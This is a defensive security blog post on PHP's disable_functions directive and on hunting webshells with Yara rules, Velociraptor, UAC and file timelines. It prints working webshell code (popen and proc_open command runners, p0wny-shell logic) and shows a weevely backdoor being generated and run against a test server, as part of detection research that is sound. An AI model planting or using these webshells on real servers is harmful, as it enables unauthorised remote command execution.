From Dangerous PHP Functions to Webshell Hunting

Table of Contents

This blog post discusses how to enhance PHP security using the disable_functions directive, which prevents specific PHP functions from being executed. We further explore webshell detection techniques, highlighting the challenges of identifying webshells using Yara rules, proposing alternatives like manual analysis, frequency analysis of web server logs, and utilizing tools like Velociraptor and UAC along the way.

Introduction

The disable_functions directive in PHP is a security feature that allows administrators to disable specific PHP functions from being executed within PHP scripts. When the disable_functions directive is set in the PHP configuration file (php.ini), any functions listed in its value will be prohibited from being called by PHP scripts.

For example, if disable_functions = exec, system, shell_exec is set in the php.ini file, the exec(), system(), and shell_exec() functions will be disabled, and attempts to call them within PHP scripts will result in a fatal error.

When you view the PHP configuration using the phpinfo() function, the disable_functions directive may appear in the output if configured in the php.ini file. This section of the PHP configuration will list the specific functions that have been disabled.

Looking at the php.ini file:

# grep disable_functions /etc/php/8.0/apache2/php.ini 
disable_functions = pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,

And looking at the phpinfo() output:

<?php phpinfo(); ?>

Output of phpinfo()

Figure 1: Output of phpinfo()

The purpose of disable_functions is to enhance the security of PHP applications by preventing the execution of potentially dangerous functions that could be abused by attackers to execute malicious code, manipulate the file system, or perform other unauthorized actions on the server. However, it’s essential to carefully consider the functions being disabled to avoid unintended consequences for PHP applications’ functionality.

Example #1: popen

From the PHP manual: Opens a pipe to a process executed by forking the command given by command. The same page provides an example and showcases the code execution capabilities:

<?php
$handle = popen("/bin/ls", "r");
?>

Searching for “popen webshell” on Google, we find a simple webshell on GitHub:

<?php
    $handle = popen($_REQUEST['code'],'r');
    echo fread($handle,1024*4);
?>

Popen Webshell

Figure 2: popen() webshell

Example #2: proc_open

From the PHP manual: proc_open is similar to popen but provides a much greater degree of control over the program execution. A proc_open() reverse shell can be pretty simple, as shown below. This code is also from a public GitHub repository:

<?php
// Define a custom function to execute commands
function execute_command($cmd) {
    // Use proc_open to execute the command
    $descriptors = [
        0 => ['pipe', 'r'], // stdin
        1 => ['pipe', 'w'], // stdout
        2 => ['pipe', 'w']  // stderr
    ];

    $process = proc_open($cmd, $descriptors, $pipes);

Uploading the webshell to our web server and executing the id command, we get back the expected result:

proc_open webshell

Figure 3: proc_open() webshell

There are more..

Hacktricks has a nice overview of other techniques, next to the better-known techniques with exec, system and shell_exec, there are the following techniques (possibly not exhaustive):

  • passthru
  • pcntl_exec
  • preg_replace (but, this one uses system() to run code..)

p0wny-shell

A popular webshell nowadays is p0wny-shell. p0wny-shell is written in Python and provides a command-line interface (CLI) that allows attackers to interact with web servers and execute various commands on the compromised system. As pointed out by Oxdf, p0wny-shell checks various code execution methods and, when it finds one, runs it. Complete source code here.

function executeCommand($cmd) {
    $output = '';
    if (function_exists('exec')) {
...[snip]...
    } else if (function_exists('shell_exec')) {
...[snip]...
    } else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
...[snip]...
    } else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
...[snip]...
    } else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose'))) {
...[snip]...
    } else if (allFunctionExist(array('proc_open', 'stream_get_contents', 'proc_close'))) {
...[snip]...
    }
    return $output;
}

Figure 4 showcases p0wny-shell in action - working with that shell is comfortable compared to other, more basic webshells.

p0wny-shell

Figure 4: p0wny-shell

weevely

Weevely is extremely powerful. It allows the execution of various commands on a compromised server, uploading and downloading files, manipulating databases, and performing other actions, all through a simple command-line interface.

One of the key features is its ability to generate obfuscated PHP payloads, which can be injected into vulnerable web applications to establish a backdoor connection. Once the backdoor is established, the attacker can use Weevely to remotely control the compromised server and carry out further attacks.

We generate a new agent by following the documentation: To generate a new agent, just use the generate option passing the password and path arguments.

$ ./weevely.py generate mypassword agent.php
Generated backdoor with password 'mypassword' in 'agent.php' of 671 byte size.

The generated file contains readable PHP code and .. some obscured code.

# cat weevely.php 
<?php include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?>/x?W2Ԭ??U?_k?0???)J?hBE??Y
                                                                                                                      +{??^|WjL5?&]?)~??vL???]ι??|?U?.YA?pd<??v1??? ?|4?J+
                                                                                                                                                                          2?/&?q6??Q??d?=-???r=??oW+ƒ ?5ᕂ????????P???P<?GeA[n-??
???????4??:?X?ɶ/??Ao>ᴆ?|N??3!?F?<?I??>-3/?
                                          ? ?G
H/?u?ҽ??+?kJ?2/??6??փ?  ??$v??>s?2$???        K
??5M?4?f??Mҝ?v?(??xÚ;0?`?&?߶&
'?r?is?????o&*???*l;??.????.A?>?9?ma?L?ϣ?OGBMB

We upload our agent (in our case, weevely.php) to our target web server and connect to it from my machine:

$ ./weevely.py http://206.81.29.164/wp-content/weevely.php malmoeb  

[+] weevely 4.0.2

[+] Target:     206.81.29.164
[+] Session:    /home/malmoeb/.weevely/sessions/206.81.29.164/weevely_0.session

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

And yes - it worked perfectly. Awesome!

weevely> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Figure 5 depicts the HTTP POST request sent to our webshell:

Weevely Traffic Capture

Figure 5: Weevely Traffic Capture

Hunting Webshells

TODO

The following initial situation: We placed four different webshells on a web server:

  • proc_open.php
  • p0wny-shell.php
  • weevely.php
  • popen.php

How could we find these webshells on a (Linux) web server if we did not know the path, the technology(ies) of the webshells, and the creation date of the files?

Yara-Rules for Webshell-Hunting

If we search for “yara webshells” on Google, we see that the first two hits look promising:

Yara Rules for webshells - Results on Google

Figure 6: Yara Rules for webshells - Results on Google

However - the first Yara rule set was updated nine years ago 🤯

Yara ruleset updated 9 years ago

Figure 7: Yara ruleset updated nine years ago

The second rule set, from nsacyber, was updated three years ago. Also not ‘fresh’ in IT security terms.

Figure 7: Yara ruleset updated 3 years ago

Figure 8: Yara ruleset updated three years ago

Linux.Detection.Yara with Velociraptor

We use the nsacyber webshell Yara rule with the Velociraptor Hunt Linux.Detection.Yara.Glob.

Linux Yara Hunt

Figure 9: Linux Yara Hunt from Velociraptor

The hunt returns the following hits:

  • /var/www/html/wp-content/plugins/akismet/_inc/akismet-frontend.js
  • /var/www/html/wp-content/plugins/akismet/class.akismet.php
  • /var/www/html/wp-content/plugins/wp-fail2ban/lib/activation.php
  • /var/www/html/wp-content/plugins/wp-fail2ban/lib/loader.php
  • /var/www/html/wp-content/plugins/wp-fail2ban/lib/site-health.php
  • /var/www/html/wp-content/plugins/wp-fail2ban/vendor/freemius/wordpress-sdk/includes/class-freemius.php
  • /var/www/html/wp-content/plugins/wp-fail2ban/vendor/freemius/wordpress-sdk/includes/class-fs-logger.php
  • /var/www/html/wp-content/plugins/wp-fail2ban/vendor/freemius/wordpress-sdk/templates/account.php
  • /var/www/html/wp-content/plugins/wp-fail2ban/vendor/freemius/wordpress-sdk/templates/add-ons.php
  • /var/www/html/wp-content/p0wny-shell.php

The number of hits is so small that we could manually check the individual hits to see whether they are webshells. Since we are using a test setup, we know which files are webshells and which are not (or the default installation of WordPress would have been backdoored…). As you can see, only the p0wny-shell was found, which is unsurprising since the shell uses various code execution sites, as shown above. Why are the other files not found by the Yara Rules?

Searching for proc_open inside the rule file, we find that proc_open as a keyword is named only in one rule, and that rule triggers, there must be four (in total five) keywords match! As seen above, a proc_open is relatively simple, so this rule might not trigger once.

DangerousPhp Yara Rule

Figure 10: DangerousPhp Yara Rule

The same rule, DangerousPhp, is the only rule that would theoretically match popen—but again, only in combination with four other keywords. And there is no mention of Weevely or an explicit rule for that type of webshell.

Exchange.Generic.Detection.WebShells

Looking around in the Velociraptor-Exchange for potential quick wins for hunting, we stumbled upon the Generic.Webshells hunt here. A closer look reveals that this hunt uses the same rule as we used above - the nsacyber yara ruleset! Oh well.. we know where this is heading too.

Webshell Detection from Velociraptor

Figure 11: Webshell Detection from Velociraptor

DetectRaptor

I love DetectRaptor from Matthew Green for picking up the quick wins in an incident response case. In our next and last test, we use the DetectRaptor.Generic.Detection.WebshellYara hunt from Velociraptor. This hunt uses the Thor Webshell Yara rule from Florian Roth, but the hunt returns zero hits.

Although there is a weevly rule, we do not have a hit for it.

Weevely_WebShell Yara Rule

Figure 12: Weevely_WebShell Yara Rule

According to the date from the rule, this rule was written in 2014. Weevly, in contrast, is (or still) under development:

Newest Weevely Commit

Figure 13: Newest Weevely Commit

webshell-scan

Matthew Green @mgreen27 drew my attention to the blog post Analyzing and detecting web shells. In addition to the blog post, Tim, the author of the post, also published a webshell scanner, which you find here. However, this webshell scanner does not find any of the four web shells tested, as the built-in regex within the scanner is too focused. For example:

The regex contains the following string: “echo passthru($_GET[\‘cmd\’”. But, the scanner (the regex) doesn’t return a hit because our webshells use “passthru($cmd);”. The same holds true for the rest of the tested webshells.

What now?

Two years ago, I posted on Twitter the following tweet:

ThreatHunting with an MFT Timeline

Figure 14: ThreatHunting with an MFT Timeline

A discussion arose about the sense (or nonsense) of this action, as some people thought that manual analyses were unnecessary and would not find all webshells. However, as the analyses outlined in this blog post have shown, the most common webshell Yara rules can also not find webshells. What now? I personally am still a firm believer in a semi-automatic approach. Use something like DetectRaptor wherever possible to pick the low-hanging fruits and then manually dig deeper into the system. Only relying on third-party Yara rules could make the investigation unsuccessful and, worst case, overlook a placed webshell.

uac - Unix-like Artifacts Collector

In the next step, we could use UAC - Unix-like Artifacts Collector for automatically collecting relevant information from a Unix-like system:

UAC GitHub repository

Figure 15: UAC GitHub repository

Amongst a ton of other forensic artifacts, UAC creates a bodyfile. It is typically generated by tools like The Sleuth Kit (TSK) and is utilized for timeline analysis, which helps investigators understand the sequence of file creation, modification, and access events on a computer system. However, the bodyfile is an intermediate file when creating a timeline of file activity. It is a pipe ("|") delimited text file that contains one line for each file.

bodyfile % grep weevely bodyfile.txt
0|/var/www/html/wp-content/weevely.php|517489|-rw-r--r--|0|0|514|1715185123|1714773794|1715105198|1714773877

Now the question is: How exactly does UAC create the bodyfile?

Bodyfile definition from UAC

Figure 16: Bodyfile definition from UAC

UAC uses a dedicated Perl script for exactly this reason. When looking at the code, we see that for every file within the search path, a call to lstat is made, with the filename as parameter:

stat.pl - part of UAC

Figure 17: stat.pl - part of UAC

However, we can also use the native Linux binary stat:

# stat /var/www/html/wp-content/weevely.php

File: /var/www/html/wp-content/weevely.php
Size: 514       Blocks: 8          IO Block: 4096   regular file
Device: fc01h/64513d Inode: 517489      Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2024-05-08 16:18:43.402788327 +0000
Modify: 2024-05-03 22:03:14.000000000 +0000
Change: 2024-05-14 19:28:22.989647886 +0000
Birth:  2024-05-03 22:04:37.550801799 +0000

Or, we use the standalone Perl script:

# ./stat.pl /var/www/html/wp-content/weevely_foobar.php
0|/var/www/html/wp-content/weevely_foobar.php|517489|-rw-r--r--|0|0|514|1715185123|1714773794|1715105198|0

Which we could use in conjunction with a find command to easily build a timeline when doing live forensics:

# find .  -exec ./stat.pl {} \;
0|.|1528|drwxrwxrwt|0|0|4096|1715693975|1715693940|1715693940|0
0|./systemd-private-1bc95a44005c41a08a8044502cb67b70-systemd-resolved.service-T04uDA|308416|drwx------|0|0|4096|1715688169|1714987284|1714987284|0
0|./systemd-private-1bc95a44005c41a08a8044502cb67b70-systemd-resolved.service-T04uDA/tmp|308417|drwxrwxrwt|0|0|4096|1715688169|1714987284|1714987284|0
0|./.X11-unix|288797|drwxrwxrwt|0|0|4096|1715688169|1714987267|1714987267|0

And now? We can use the mactime command to convert the Unix timestamps to UTC timestamps and perform a timeline analysis as usual.

Mactime on the Sleuthkit website

Figure 18: Mactime on the Sleuthkit website
% mactime -b bodyfile.txt > mactime.txt

Conclusion

This blog should show how important it is to know your tools and their limitations. File Integrity solutions or auditd rules could help detect changes in the web directory or when a new file (a webshell) is written to the disk. Furthermore, EDR tools could pick up the process ancestry when a command is through the web shell (the webserver will be the parent of the bash shell). Last but not least, we might find accessed webshells by doing a frequency analysis of the webserver logs (how many times and from how many different IP addresses was a file requested). Finding webshells with Yara rules alone could be difficult or impossible, which is why we, as defenders, need to know other tricks to successfully identify webshells and compromised web servers.